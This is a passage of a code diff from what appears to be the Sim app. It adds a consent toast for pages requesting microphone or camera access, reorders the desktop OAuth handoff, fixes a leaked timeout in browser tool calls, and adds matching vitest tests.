async (overlay: BrowserPanelOverlay, fallback: () => void): Promise<boolean> => {
|
||||
async (
|
||||
overlay: BrowserPanelOverlay,
|
||||
fallback: () => void,
|
||||
onOwnershipLost?: () => void
|
||||
): Promise<boolean> => {
|
||||
if (!panelVisibleRef.current || screenOcclusionPresentRef.current) return false
|
||||
if (activeOverlayRef.current === overlay) return true
|
||||
if (pendingOverlayRef.current === overlay) {
|
||||
@@ -491,17 +505,15 @@ export function useBrowserPanelOcclusion(
|
||||
// A different renderer popover can replace the current one without
|
||||
// revealing the native page between them. Keeping a pending popover owns
|
||||
// the existing captured frame while the old controlled menu closes.
|
||||
if (activeOverlayRef.current) clearBrowserOverlay()
|
||||
pendingOverlayRef.current = overlay
|
||||
if (activeOverlayRef.current) {
|
||||
activeOverlayRef.current = null
|
||||
setActiveOverlay(null)
|
||||
}
|
||||
const ready = await scheduleReconcile()
|
||||
if (!mountedRef.current || pendingOverlayRef.current !== overlay) return false
|
||||
|
||||
if (ready && nativeHiddenRef.current && desiredLayer() === 'popover') {
|
||||
pendingOverlayRef.current = null
|
||||
activeOverlayRef.current = overlay
|
||||
activeOverlayOwnershipLostRef.current = onOwnershipLost ?? null
|
||||
setActiveOverlay(overlay)
|
||||
return true
|
||||
}
|
||||
@@ -511,7 +523,7 @@ export function useBrowserPanelOcclusion(
|
||||
fallback()
|
||||
return false
|
||||
},
|
||||
[desiredLayer, scheduleReconcile]
|
||||
[clearBrowserOverlay, desiredLayer, scheduleReconcile]
|
||||
)
|
||||
|
||||
// The canonical modal pauses its first visible frame and dispatches this
|
||||
@@ -592,6 +604,7 @@ export function useBrowserPanelOcclusion(
|
||||
screenOcclusionPresentRef.current = false
|
||||
pendingOverlayRef.current = null
|
||||
activeOverlayRef.current = null
|
||||
activeOverlayOwnershipLostRef.current = null
|
||||
transitionVersionRef.current++
|
||||
cancelPendingPaint()
|
||||
// Run once now and once behind any in-flight capture/hide. The second
|
||||
|
||||
+14
@@ -5,6 +5,7 @@ import { describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
browserPanelSnapshotStyle,
|
||||
browserSelectionContext,
|
||||
claimMediaPermissionResponse,
|
||||
clearOmniboxSelection,
|
||||
exceededOmniboxDragThreshold,
|
||||
hasConfirmedBrowserTabCreation,
|
||||
@@ -16,6 +17,19 @@ import {
|
||||
shouldReportBrowserBounds,
|
||||
} from '@/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session'
|
||||
|
||||
describe('claimMediaPermissionResponse', () => {
|
||||
it('allows one response per request id across effect recreation', () => {
|
||||
const handledRequestId = { current: null as string | null }
|
||||
|
||||
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
|
||||
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(false)
|
||||
expect(claimMediaPermissionResponse(handledRequestId, 'request-2')).toBe(true)
|
||||
|
||||
handledRequestId.current = null
|
||||
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('browserPanelSnapshotStyle', () => {
|
||||
const snapshot = {
|
||||
dataUrl: 'data:image/png;base64,c2lt',
|
||||
|
||||
+85
-2
@@ -195,6 +195,16 @@ export function clearOmniboxSelection(input: HTMLInputElement): void {
|
||||
input.setSelectionRange(caret, caret)
|
||||
}
|
||||
|
||||
/** Claims the one renderer response allowed for a native media permission request. */
|
||||
export function claimMediaPermissionResponse(
|
||||
handledRequestId: { current: string | null },
|
||||
requestId: string
|
||||
): boolean {
|
||||
if (handledRequestId.current === requestId) return false
|
||||
handledRequestId.current = requestId
|
||||
return true
|
||||
}
|
||||
|
||||
/** Places the replacement on the native view's exact, unclipped viewport rectangle. */
|
||||
export function browserPanelSnapshotStyle(
|
||||
snapshot: BrowserPanelSnapshot,
|
||||
@@ -385,6 +395,7 @@ export function BrowserSession({
|
||||
)
|
||||
const suspended = useBrowserSessionStore((state) => state.sessions[scopeId]?.suspended ?? false)
|
||||
const hasPageIssue = Boolean(pageState?.issue)
|
||||
const mediaPermissionRequest = pageState?.mediaPermissionRequest
|
||||
const panelRef = useRef<HTMLDivElement>(null)
|
||||
const hostRef = useRef<HTMLDivElement>(null)
|
||||
// Lets the occlusion handshake reject a capture taken before a modal's
|
||||
@@ -397,6 +408,7 @@ export function BrowserSession({
|
||||
const omniboxFocusRafRef = useRef<number | null>(null)
|
||||
const omniboxPointerSelectionRef = useRef<OmniboxPointerSelection | null>(null)
|
||||
const pendingNewTabFocusRef = useRef<PendingNewTabFocus | null>(null)
|
||||
const handledMediaPermissionRequestIdRef = useRef<string | null>(null)
|
||||
const visibleRef = useRef(visible)
|
||||
visibleRef.current = visible
|
||||
const { removeResource } = useMothershipResources()
|
||||
@@ -471,6 +483,69 @@ export function BrowserSession({
|
||||
onSnapshotError,
|
||||
} = useBrowserPanelOcclusion(scopeId, activeTabId, panelVisible, getHostRect)
|
||||
|
||||
useEffect(() => {
|
||||
const request = mediaPermissionRequest
|
||||
if (!request) {
|
||||
handledMediaPermissionRequestIdRef.current = null
|
||||
void closeOverlay('permissions')
|
||||
return
|
||||
}
|
||||
|
||||
let active = true
|
||||
let decided = false
|
||||
let toastId: string | null = null
|
||||
const respond = (allowed: boolean) => {
|
||||
if (decided) return
|
||||
decided = true
|
||||
if (!claimMediaPermissionResponse(handledMediaPermissionRequestIdRef, request.requestId))
|
||||
return
|
||||
sendBrowserPanelAction(
|
||||
'respond-media-permission',
|
||||
{ requestId: request.requestId, allowed },
|
||||
scopeId
|
||||
)
|
||||
}
|
||||
|
||||
const dismissPrompt = () => {
|
||||
respond(false)
|
||||
if (!toastId) return
|
||||
const id = toastId
|
||||
toastId = null
|
||||
toast.dismiss(id)
|
||||
}
|
||||
|
||||
if (!visible) {
|
||||
respond(false)
|
||||
void closeOverlay('permissions')
|
||||
return
|
||||
}
|
||||
|
||||
void requestOverlay('permissions', () => respond(false), dismissPrompt).then((ready) => {
|
||||
if (!active) return
|
||||
if (!ready) {
|
||||
respond(false)
|
||||
return
|
||||
}
|
||||
const origin = URL.canParse(request.origin) ? new URL(request.origin).host : request.origin
|
||||
const devices = request.devices.join(' and ')
|
||||
toastId = toast.info(`${origin} wants to use your ${devices}`, {
|
||||
description: 'Access applies only to this page and ends when it navigates.',
|
||||
action: { label: 'Allow', onClick: () => respond(true) },
|
||||
onDismiss: () => {
|
||||
if (!active) return
|
||||
respond(false)
|
||||
void closeOverlay('permissions')
|
||||
},
|
||||
})
|
||||
})
|
||||
|
||||
return () => {
|
||||
active = false
|
||||
dismissPrompt()
|
||||
void closeOverlay('permissions')
|
||||
}
|
||||
}, [closeOverlay, mediaPermissionRequest, requestOverlay, scopeId, visible])
|
||||
|
||||
// The resource picker lives above this component in the panel tab bar. Give
|
||||
// that one external browser overlay access to the same capture/hide handshake
|
||||
// as the browser's own menus, without restoring a document-wide observer.
|
||||
@@ -503,7 +578,11 @@ export function BrowserSession({
|
||||
() =>
|
||||
onBrowserToolbarCommand((command) => {
|
||||
if (command === 'import') {
|
||||
navigateToSettings({ section: 'browser', browserView: 'passwords', browserImport: true })
|
||||
navigateToSettings({
|
||||
section: 'browser',
|
||||
browserView: 'passwords',
|
||||
browserImport: true,
|
||||
})
|
||||
return
|
||||
}
|
||||
navigateToSettings({ section: 'browser' })
|
||||
@@ -932,6 +1011,10 @@ export function BrowserSession({
|
||||
// Keep the page's exact captured frame underneath it while it is open so
|
||||
// pointer events reach the Sim popover instead of the WebContentsView.
|
||||
useEffect(() => {
|
||||
if (mediaPermissionRequest) {
|
||||
void closeOverlay('suggestions')
|
||||
return
|
||||
}
|
||||
if (hasPageIssue) {
|
||||
void closeOverlay('suggestions')
|
||||
return
|
||||
@@ -941,7 +1024,7 @@ export function BrowserSession({
|
||||
return
|
||||
}
|
||||
void closeOverlay('suggestions')
|
||||
}, [closeOverlay, hasPageIssue, requestOverlay, suggestions.length])
|
||||
}, [closeOverlay, hasPageIssue, mediaPermissionRequest, requestOverlay, suggestions.length])
|
||||
|
||||
const suggestionsOpen = hasPageIssue
|
||||
? suggestions.length > 0
|
||||
|
||||
+3
-2
@@ -667,8 +667,9 @@ const TerminalView = memo(function TerminalView({
|
||||
addMothershipContext(context)
|
||||
}, [selectionSnapshot, terminalId])
|
||||
|
||||
const pasteClipboard = useCallback(() => {
|
||||
const pasteClipboard = () => {
|
||||
void (async () => {
|
||||
reportTerminalFocused(true, scopeId)
|
||||
const result = await pasteIntoTerminal(terminalId, scopeId)
|
||||
if (result === true) {
|
||||
terminalRef.current?.focus()
|
||||
@@ -682,7 +683,7 @@ const TerminalView = memo(function TerminalView({
|
||||
}
|
||||
toast.error('Could not paste from the clipboard. Press ⌘V to paste.')
|
||||
})()
|
||||
}, [terminalId, scopeId])
|
||||
}
|
||||
|
||||
const newTab = useCallback(() => {
|
||||
void openTerminal(undefined, scopeId).catch(() => {
|
||||
|
||||
@@ -512,13 +512,10 @@ const UserInputImpl = forwardRef<UserInputHandle, UserInputProps>(function UserI
|
||||
return () => window.cancelAnimationFrame(raf)
|
||||
}, [textareaRef])
|
||||
|
||||
const handleContainerClick = useCallback(
|
||||
(e: React.MouseEvent<HTMLDivElement>) => {
|
||||
if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
|
||||
textareaRef.current?.focus()
|
||||
},
|
||||
[textareaRef]
|
||||
)
|
||||
const handleContainerClick = (e: React.MouseEvent<HTMLDivElement>) => {
|
||||
if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
|
||||
textareaRef.current?.focus()
|
||||
}
|
||||
|
||||
const handleSubmit = useCallback(() => {
|
||||
const currentFiles = filesRef.current
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
/**
|
||||
* @vitest-environment jsdom
|
||||
*/
|
||||
import { act, type ReactNode } from 'react'
|
||||
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
const { beginOAuthConnect, oauthLink } = vi.hoisted(() => ({
|
||||
beginOAuthConnect: vi.fn(),
|
||||
oauthLink: vi.fn(),
|
||||
}))
|
||||
|
||||
vi.mock('@/lib/api/client/request', () => ({ requestJson: vi.fn() }))
|
||||
vi.mock('@/lib/auth/auth-client', () => ({ client: { oauth2: { link: oauthLink } } }))
|
||||
vi.mock('@/lib/desktop', () => ({
|
||||
getDesktopBridge: () => ({ beginOAuthConnect }),
|
||||
}))
|
||||
vi.mock('@/lib/oauth', () => ({ OAUTH_PROVIDERS: {} }))
|
||||
|
||||
import { useConnectOAuthService } from '@/hooks/queries/oauth/oauth-connections'
|
||||
|
||||
describe('useConnectOAuthService', () => {
|
||||
let unmount = () => {}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks()
|
||||
beginOAuthConnect.mockResolvedValue(true)
|
||||
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
|
||||
})
|
||||
|
||||
afterEach(() => unmount())
|
||||
|
||||
it.each(['trello', 'instagram', 'shopify'])(
|
||||
'hands %s to the desktop bridge before provider-specific web routing',
|
||||
async (providerId) => {
|
||||
const queryClient = new QueryClient({
|
||||
defaultOptions: { mutations: { retry: false }, queries: { retry: false } },
|
||||
})
|
||||
const container = document.createElement('div')
|
||||
const root = createRoot(container)
|
||||
let connect: ReturnType<typeof useConnectOAuthService> | undefined
|
||||
function Probe() {
|
||||
connect = useConnectOAuthService()
|
||||
return null
|
||||
}
|
||||
function Wrapper({ children }: { children: ReactNode }) {
|
||||
return <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
|
||||
}
|
||||
act(() =>
|
||||
root.render(
|
||||
<Wrapper>
|
||||
<Probe />
|
||||
</Wrapper>
|
||||
)
|
||||
)
|
||||
unmount = () => act(() => root.unmount())
|
||||
|
||||
await act(async () => {
|
||||
await connect?.mutateAsync({
|
||||
providerId,
|
||||
callbackURL: 'https://sim.test/oauth/credential-connected',
|
||||
draftId: 'draft-1',
|
||||
})
|
||||
})
|
||||
|
||||
expect(beginOAuthConnect).toHaveBeenCalledWith(providerId, { draftId: 'draft-1' })
|
||||
expect(oauthLink).not.toHaveBeenCalled()
|
||||
}
|
||||
)
|
||||
})
|
||||
@@ -151,6 +151,22 @@ export function useConnectOAuthService() {
|
||||
|
||||
return useMutation({
|
||||
mutationFn: async ({ providerId, callbackURL, draftId }: ConnectServiceParams) => {
|
||||
/**
|
||||
* Desktop keeps the entire provider flow in the system browser so the
|
||||
* authorization route's state cookies and callback use one cookie jar.
|
||||
*/
|
||||
const desktopBridge = getDesktopBridge()
|
||||
if (desktopBridge?.beginOAuthConnect) {
|
||||
const opened = await desktopBridge.beginOAuthConnect(
|
||||
providerId,
|
||||
draftId ? { draftId } : undefined
|
||||
)
|
||||
if (!opened) {
|
||||
throw new Error('Could not open your browser to connect this account.')
|
||||
}
|
||||
return { success: true }
|
||||
}
|
||||
|
||||
if (providerId === 'trello') {
|
||||
const returnUrl = encodeURIComponent(callbackURL)
|
||||
const draftQuery = draftId ? `&draftId=${encodeURIComponent(draftId)}` : ''
|
||||
@@ -172,24 +188,6 @@ export function useConnectOAuthService() {
|
||||
return { success: true }
|
||||
}
|
||||
|
||||
// Desktop app: OAuth cannot run in the embedded window (Google/Microsoft
|
||||
// block embedded user agents, and better-auth binds the flow's state to
|
||||
// the initiating browser's cookies), so the whole flow is handed to the
|
||||
// system browser and returns via the app's loopback. Completion arrives
|
||||
// through onOAuthConnectComplete (see useDesktopOAuthConnectListener),
|
||||
// which refreshes caches and shows the connected toast.
|
||||
const desktopBridge = getDesktopBridge()
|
||||
if (desktopBridge?.beginOAuthConnect) {
|
||||
const opened = await desktopBridge.beginOAuthConnect(
|
||||
providerId,
|
||||
draftId ? { draftId } : undefined
|
||||
)
|
||||
if (!opened) {
|
||||
throw new Error('Could not open your browser to connect this account.')
|
||||
}
|
||||
return { success: true }
|
||||
}
|
||||
|
||||
const stateCallbackUrl = new URL(callbackURL)
|
||||
if (draftId) {
|
||||
stateCallbackUrl.searchParams.set(OAUTH_CREDENTIAL_DRAFT_CALLBACK_PARAM, draftId)
|
||||
|
||||
@@ -473,6 +473,22 @@ describe('browser panel transport', () => {
|
||||
await expect(execution).rejects.toThrow('cancelled')
|
||||
})
|
||||
|
||||
it('clears the response watchdog when a browser tool settles early', async () => {
|
||||
vi.useFakeTimers()
|
||||
try {
|
||||
executeTool.mockResolvedValue({ ok: true, result: { done: true } })
|
||||
const timersBefore = vi.getTimerCount()
|
||||
|
||||
await expect(
|
||||
executeBrowserTool('tool-fast', 'browser_snapshot', {}, 30_000, 'chat-fast')
|
||||
).resolves.toEqual({ done: true })
|
||||
|
||||
expect(vi.getTimerCount()).toBe(timersBefore)
|
||||
} finally {
|
||||
vi.useRealTimers()
|
||||
}
|
||||
})
|
||||
|
||||
it('starts the native scope boundary without waiting for exact cancellation', async () => {
|
||||
let settleNative: (response: { ok: boolean; error?: string }) => void = () => {}
|
||||
let settleExactCancellation: (cancelled: boolean) => void = () => {}
|
||||
|
||||
@@ -186,6 +186,7 @@ export async function executeBrowserTool(
|
||||
}
|
||||
const activeTool = { toolCallId, tool, scopeId, onCancel }
|
||||
activeBrowserTools.set(toolCallId, activeTool)
|
||||
let timeoutId: ReturnType<typeof setTimeout> | undefined
|
||||
try {
|
||||
const invocation = agent.executeTool(toolCallId, tool, params, scopeId)
|
||||
const response =
|
||||
@@ -194,7 +195,7 @@ export async function executeBrowserTool(
|
||||
: await Promise.race([
|
||||
invocation,
|
||||
new Promise<never>((_, reject) => {
|
||||
setTimeout(
|
||||
timeoutId = setTimeout(
|
||||
() => reject(new Error(`The browser did not respond within ${timeoutMs}ms`)),
|
||||
timeoutMs
|
||||
)
|
||||
@@ -205,6 +206,7 @@ export async function executeBrowserTool(
|
||||
}
|
||||
return response.result
|
||||
} finally {
|
||||
clearTimeout(timeoutId)
|
||||
if (activeBrowserTools.get(toolCallId) === activeTool) {
|
||||
activeBrowserTools.delete(toolCallId)
|
||||
}
|
||||
|
||||
@@ -101,6 +101,66 @@ describe('browser session store', () => {
|
||||
})
|
||||
})
|
||||
|
||||
it('retains and clears the exact pending media request from native page state', () => {
|
||||
const store = useBrowserSessionStore.getState()
|
||||
const page = {
|
||||
tabId: '1',
|
||||
scopeId: 'chat-test',
|
||||
title: 'Meeting',
|
||||
url: 'https://meet.example.com',
|
||||
loading: false,
|
||||
canGoBack: false,
|
||||
canGoForward: false,
|
||||
}
|
||||
store.setPageState({
|
||||
...page,
|
||||
mediaPermissionRequest: {
|
||||
requestId: 'request-1',
|
||||
origin: 'https://meet.example.com',
|
||||
devices: ['microphone', 'camera'],
|
||||
},
|
||||
})
|
||||
|
||||
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toEqual({
|
||||
requestId: 'request-1',
|
||||
origin: 'https://meet.example.com',
|
||||
devices: ['microphone', 'camera'],
|
||||
})
|
||||
|
||||
store.setPageState(page)
|
||||
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBeUndefined()
|
||||
})
|
||||
|
||||
it('retains pending media request identity across unrelated page-state updates', () => {
|
||||
const store = useBrowserSessionStore.getState()
|
||||
const request = {
|
||||
requestId: 'request-1',
|
||||
origin: 'https://meet.example.com',
|
||||
devices: ['microphone', 'camera'] as const,
|
||||
}
|
||||
const page = {
|
||||
tabId: '1',
|
||||
scopeId: 'chat-test',
|
||||
title: 'Meeting',
|
||||
url: 'https://meet.example.com',
|
||||
loading: false,
|
||||
canGoBack: false,
|
||||
canGoForward: false,
|
||||
mediaPermissionRequest: request,
|
||||
}
|
||||
store.setPageState(page)
|
||||
const retained = getBrowserSession('chat-test').pageState?.mediaPermissionRequest
|
||||
|
||||
store.setPageState({
|
||||
...page,
|
||||
title: 'Meeting in progress',
|
||||
canGoBack: true,
|
||||
mediaPermissionRequest: { ...request, devices: [...request.devices] },
|
||||
})
|
||||
|
||||
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBe(retained)
|
||||
})
|
||||
|
||||
it('reorders tabs optimistically without changing the active page', () => {
|
||||
const store = useBrowserSessionStore.getState()
|
||||
store.setTabsState({
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type {
|
||||
BrowserMediaPermissionRequest,
|
||||
BrowserPageIssue,
|
||||
BrowserPageState,
|
||||
BrowserTabState,
|
||||
@@ -93,6 +94,28 @@ function pageIssueEqual(a: BrowserPageIssue | undefined, b: BrowserPageIssue | u
|
||||
return true
|
||||
}
|
||||
|
||||
function mediaPermissionRequestEqual(
|
||||
a: BrowserMediaPermissionRequest | undefined,
|
||||
b: BrowserMediaPermissionRequest | undefined
|
||||
): boolean {
|
||||
if (a === b) return true
|
||||
return Boolean(
|
||||
a &&
|
||||
b &&
|
||||
a.requestId === b.requestId &&
|
||||
a.origin === b.origin &&
|
||||
a.devices.length === b.devices.length &&
|
||||
a.devices.every((device, index) => device === b.devices[index])
|
||||
)
|
||||
}
|
||||
|
||||
function retainMediaPermissionRequest(
|
||||
current: BrowserMediaPermissionRequest | undefined,
|
||||
incoming: BrowserMediaPermissionRequest | undefined
|
||||
): BrowserMediaPermissionRequest | undefined {
|
||||
return mediaPermissionRequestEqual(current, incoming) ? current : incoming
|
||||
}
|
||||
|
||||
function tabFieldsEqual(a: BrowserTabState, b: BrowserTabState): boolean {
|
||||
return (
|
||||
a.tabId === b.tabId &&
|
||||
@@ -147,7 +170,8 @@ function pageStateEqual(a: BrowserPageState | null, b: BrowserPageState | null):
|
||||
a.loading === b.loading &&
|
||||
a.canGoBack === b.canGoBack &&
|
||||
a.canGoForward === b.canGoForward &&
|
||||
pageIssueEqual(a.issue, b.issue)
|
||||
pageIssueEqual(a.issue, b.issue) &&
|
||||
mediaPermissionRequestEqual(a.mediaPermissionRequest, b.mediaPermissionRequest)
|
||||
)
|
||||
}
|
||||
|
||||
@@ -208,15 +232,22 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
|
||||
const { scopeId } = pageState
|
||||
return withSession(state, scopeId, (current) => {
|
||||
if (current.suspended) return current
|
||||
const nextPageState = {
|
||||
...pageState,
|
||||
mediaPermissionRequest: retainMediaPermissionRequest(
|
||||
current.pageState?.mediaPermissionRequest,
|
||||
pageState.mediaPermissionRequest
|
||||
),
|
||||
}
|
||||
const nextTabs = current.tabs.map((tab) =>
|
||||
tab.tabId === pageState.tabId
|
||||
tab.tabId === nextPageState.tabId
|
||||
? {
|
||||
...tab,
|
||||
url: pageState.url,
|
||||
title: pageState.title,
|
||||
loading: pageState.loading,
|
||||
url: nextPageState.url,
|
||||
title: nextPageState.title,
|
||||
loading: nextPageState.loading,
|
||||
active: true,
|
||||
issue: pageState.issue,
|
||||
issue: nextPageState.issue,
|
||||
}
|
||||
: tab.active
|
||||
? { ...tab, active: false }
|
||||
@@ -225,17 +256,17 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
|
||||
const tabs = tabsEqual(current.tabs, nextTabs) ? current.tabs : nextTabs
|
||||
if (
|
||||
tabs === current.tabs &&
|
||||
current.activeTabId === pageState.tabId &&
|
||||
current.activeTabId === nextPageState.tabId &&
|
||||
current.sessionAlive &&
|
||||
pageStateEqual(current.pageState, pageState)
|
||||
pageStateEqual(current.pageState, nextPageState)
|
||||
) {
|
||||
return current
|
||||
}
|
||||
return {
|
||||
...current,
|
||||
pageState,
|
||||
pageState: nextPageState,
|
||||
sessionAlive: true,
|
||||
activeTabId: pageState.tabId,
|
||||
activeTabId: nextPageState.tabId,
|
||||
tabs,
|
||||
}
|
||||
})
|
||||
|
||||
@@ -48,6 +48,7 @@
|
||||
"safe-regex2": "5.1.0",
|
||||
},
|
||||
"devDependencies": {
|
||||
"@electron/fuses": "1.8.0",
|
||||
"@playwright/test": "1.61.1",
|
||||
"@sim/tsconfig": "workspace:*",
|
||||
"@types/micromatch": "4.0.10",
|
||||
|
||||
@@ -159,6 +159,7 @@ export interface BrowserPanelAction {
|
||||
| 'zoom-in'
|
||||
| 'zoom-out'
|
||||
| 'zoom-reset'
|
||||
| 'respond-media-permission'
|
||||
| 'takeover-done'
|
||||
/** Absolute URL for `navigate` (typed into the panel's URL bar). */
|
||||
url?: string
|
||||
@@ -166,6 +167,19 @@ export interface BrowserPanelAction {
|
||||
tabId?: string
|
||||
/** Optional free-text instruction submitted with `takeover-done`. */
|
||||
takeoverResponse?: string
|
||||
/** Exact pending media request being answered. */
|
||||
requestId?: string
|
||||
/** User decision for `respond-media-permission`. */
|
||||
allowed?: boolean
|
||||
}
|
||||
|
||||
export type BrowserMediaDevice = 'microphone' | 'camera'
|
||||
|
||||
/** One document-scoped media request awaiting an explicit user decision. */
|
||||
export interface BrowserMediaPermissionRequest {
|
||||
requestId: string
|
||||
origin: string
|
||||
devices: BrowserMediaDevice[]
|
||||
}
|
||||
|
||||
/** Live state of the active page, pushed to the panel header. */
|
||||
@@ -180,6 +194,8 @@ export interface BrowserPageState {
|
||||
canGoForward: boolean
|
||||
/** Recoverable problem replacing the native page surface. Optional for older shells. */
|
||||
issue?: BrowserPageIssue
|
||||
/** Main-frame media request awaiting a renderer-owned permission prompt. */
|
||||
mediaPermissionRequest?: BrowserMediaPermissionRequest
|
||||
}
|
||||
|
||||
/** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
|
||||
|
||||
@@ -174,6 +174,7 @@ export interface BrowserPanelAction {
|
||||
| 'zoom-in'
|
||||
| 'zoom-out'
|
||||
| 'zoom-reset'
|
||||
| 'respond-media-permission'
|
||||
| 'takeover-done'
|
||||
/** Absolute URL for `navigate` (typed into the panel's URL bar). */
|
||||
url?: string
|
||||
@@ -181,6 +182,19 @@ export interface BrowserPanelAction {
|
||||
tabId?: string
|
||||
/** Optional free-text instruction submitted with `takeover-done`. */
|
||||
takeoverResponse?: string
|
||||
/** Exact pending media request being answered. */
|
||||
requestId?: string
|
||||
/** User decision for `respond-media-permission`. */
|
||||
allowed?: boolean
|
||||
}
|
||||
|
||||
export type BrowserMediaDevice = 'microphone' | 'camera'
|
||||
|
||||
/** One document-scoped media request awaiting an explicit user decision. */
|
||||
export interface BrowserMediaPermissionRequest {
|
||||
requestId: string
|
||||
origin: string
|
||||
devices: BrowserMediaDevice[]
|
||||
}
|
||||
|
||||
/** Live state of the active page, pushed to the panel header. */
|
||||
@@ -195,6 +209,8 @@ export interface BrowserPageState {
|
||||
canGoForward: boolean
|
||||
/** Recoverable problem replacing the native page surface. Optional for older shells. */
|
||||
issue?: BrowserPageIssue
|
||||
/** Main-frame media request awaiting a renderer-owned permission prompt. */
|
||||
mediaPermissionRequest?: BrowserMediaPermissionRequest
|
||||
}
|
||||
|
||||
/** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
|
||||
@@ -782,6 +798,8 @@ export type TerminalErrorCode =
|
||||
*/
|
||||
| 'NO_SHELL_INTEGRATION'
|
||||
| 'SPAWN_FAILED'
|
||||
/** Opening another local shell would exceed the desktop resource ceiling. */
|
||||
| 'RESOURCE_LIMIT'
|
||||
/** No terminal with that id — the ids come from terminal_list. */
|
||||
| 'NO_SUCH_TERMINAL'
|
||||
/** The operation needs tmux, and this terminal has no tmux attached. */
|
||||
@@ -893,8 +911,6 @@ export interface SimDesktopTerminalApi {
|
||||
disposeScope(scopeId: string): Promise<boolean>
|
||||
/** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
|
||||
suspendScope(scopeId: string): Promise<boolean>
|
||||
/** End every shell. A new one starts on the next `start`. */
|
||||
dispose(): void
|
||||
/** Subscribe to PTY output batches. Returns an unsubscribe function. */
|
||||
onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
|
||||
/**
|
||||
|
||||
@@ -95,8 +95,6 @@ export interface SimDesktopTerminalApi {
|
||||
disposeScope(scopeId: string): Promise<boolean>
|
||||
/** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
|
||||
suspendScope(scopeId: string): Promise<boolean>
|
||||
/** End every shell. A new one starts on the next `start`. */
|
||||
dispose(): void
|
||||
/** Subscribe to PTY output batches. Returns an unsubscribe function. */
|
||||
onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
|
||||
/**
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
/**
|
||||
* @vitest-environment jsdom
|
||||
*/
|
||||
import { act, type ReactNode, useEffect } from 'react'
|
||||
import { createRoot, type Root } from 'react-dom/client'
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import { ToastProvider, toast } from './toast'
|
||||
|
||||
const navigation = vi.hoisted(() => ({
|
||||
pathname: '/workspace/workspace-1/home',
|
||||
}))
|
||||
|
||||
vi.mock('next/navigation', () => ({ usePathname: () => navigation.pathname }))
|
||||
|
||||
let root: Root | null = null
|
||||
let container: HTMLDivElement | null = null
|
||||
|
||||
function mountProvider(children?: ReactNode): void {
|
||||
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
|
||||
container = document.createElement('div')
|
||||
document.body.appendChild(container)
|
||||
root = createRoot(container)
|
||||
act(() => root?.render(<ToastProvider>{children}</ToastProvider>))
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
navigation.pathname = '/workspace/workspace-1/home'
|
||||
vi.stubGlobal(
|
||||
'ResizeObserver',
|
||||
class {
|
||||
disconnect(): void {}
|
||||
observe(): void {}
|
||||
}
|
||||
)
|
||||
})
|
||||
|
||||
afterEach(() => {
|
||||
if (root) act(() => root?.unmount())
|
||||
container?.remove()
|
||||
root = null
|
||||
container = null
|
||||
vi.unstubAllGlobals()
|
||||
})
|
||||
|
||||
describe('ToastProvider', () => {
|
||||
it('does not dismiss a route-mounted toast before it commits', () => {
|
||||
mountProvider()
|
||||
const onDismiss = vi.fn()
|
||||
|
||||
function RouteToast() {
|
||||
useEffect(() => {
|
||||
toast.info('Ready on the new route', { onDismiss, duration: 0 })
|
||||
}, [])
|
||||
return null
|
||||
}
|
||||
|
||||
navigation.pathname = '/workspace/workspace-1/settings'
|
||||
act(() =>
|
||||
root?.render(
|
||||
<ToastProvider>
|
||||
<RouteToast />
|
||||
</ToastProvider>
|
||||
)
|
||||
)
|
||||
|
||||
expect(onDismiss).not.toHaveBeenCalled()
|
||||
expect(document.body.textContent).toContain('Ready on the new route')
|
||||
|
||||
act(() => toast.dismissAll())
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('runs dismissal cleanup once when an action closes the toast', () => {
|
||||
mountProvider()
|
||||
const onDismiss = vi.fn()
|
||||
const onAction = vi.fn()
|
||||
|
||||
act(() => {
|
||||
toast.info('Permission requested', {
|
||||
action: { label: 'Allow', onClick: onAction },
|
||||
onDismiss,
|
||||
})
|
||||
})
|
||||
|
||||
const action = Array.from(document.querySelectorAll('button')).find(
|
||||
(button) => button.textContent === 'Allow'
|
||||
)
|
||||
const dismiss = document.querySelector<HTMLButtonElement>(
|
||||
'button[aria-label="Dismiss notification"]'
|
||||
)
|
||||
expect(action).not.toBeUndefined()
|
||||
expect(dismiss).not.toBeNull()
|
||||
act(() => action?.click())
|
||||
expect(onAction).toHaveBeenCalledOnce()
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
act(() => dismiss?.click())
|
||||
|
||||
expect(onDismiss).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('runs dismissal cleanup for programmatic removal', () => {
|
||||
mountProvider()
|
||||
const onDismiss = vi.fn()
|
||||
let id = ''
|
||||
|
||||
act(() => {
|
||||
id = toast.info('Permission requested', { onDismiss, duration: 0 })
|
||||
})
|
||||
